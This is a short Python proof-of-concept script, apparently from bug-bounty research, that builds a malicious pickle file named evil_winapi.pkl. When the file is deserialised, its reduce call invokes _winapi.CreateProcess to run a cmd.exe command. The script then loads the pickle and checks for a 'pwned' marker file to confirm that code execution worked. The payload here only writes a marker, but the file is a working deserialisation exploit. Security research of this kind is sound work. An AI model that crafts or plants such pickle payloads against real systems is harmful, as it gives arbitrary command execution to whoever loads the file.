| import sys, pickle, os | |
| sys.path.insert(0, r"D:\0projects\bountykimi\tmp") | |
| from pklbuild import reduce_call, globals_of | |
| OUT = r"D:\0projects\bountykimi\tmp\artifacts\evil_winapi.pkl" | |
| MARK = r"C:/Users/uozer/AppData/Local/Temp/opencode/winapi_PWN.txt" | |
| if os.path.exists(MARK): | |
| os.remove(MARK) | |
| cmd = "cmd.exe /c echo pwned > " + MARK | |
| # CreateProcess(appName, commandLine, procAttr, threadAttr, inheritHandles, flags, env, cwd, startupInfo) | |
| data = reduce_call("_winapi", "CreateProcess", | |
| (None, cmd, None, None, False, 0, None, None, None)) | |
| open(OUT, "wb").write(data) | |
| g = globals_of(data) | |
| print("GLOBALS:", g) | |
| try: | |
| r = pickle.loads(data) | |
| print("CreateProcess returned handles:", r) | |
| import time; time.sleep(1) | |
| print("MARKER_EXISTS:", os.path.exists(MARK)) | |
| except Exception as e: | |
| print("LOAD_ERR:", type(e).__name__, e) | |